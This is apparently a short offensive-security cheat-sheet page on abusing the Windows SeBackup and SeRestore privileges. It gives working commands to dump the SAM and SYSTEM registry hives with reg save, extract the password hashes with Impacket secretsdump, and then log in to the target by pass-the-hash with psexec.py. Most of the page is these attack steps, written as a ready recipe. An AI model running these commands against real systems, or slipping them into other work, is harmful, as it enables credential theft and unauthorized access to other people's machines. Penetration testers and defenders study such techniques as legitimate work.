Skip to main content

SeBackup - SeRestore

Required Privileges: Administrators - SeBackupPrivilege - SeRestorePrivilege

SeBackup and SeRestore Privileges allow Users to Read - Write to any File in the System, Ignoring any DACL in place. The idea behind this Privilege is to Allow certain Users to perform BackUP's from a System (Without Requiring full Administrative Privileges).

This can be Achieved by Dumping the SAM and SYSTEM Registry Hives to extract the Local Administrator Password Hash.


SAM - SYSTEM​

After verifying that we have the Required Privileges now we can Copy SAM and SYSTEM Hashes. After that we can Copy the Dumped Files to Our Machine where we can Retrieve the User Password Hashes by Using Impacket SecretsDump,

reg save HKLM\sam "Dump Output Path/sam-reg"
reg save HKLM\system "Dump Output Path/system-reg"


Pass-The-Hash​

We can use psexec to perform the Pass-The-Hash Attack and gain Access to the Target Machine.

psexec.py -hashes <HASH> <Username>@<IP>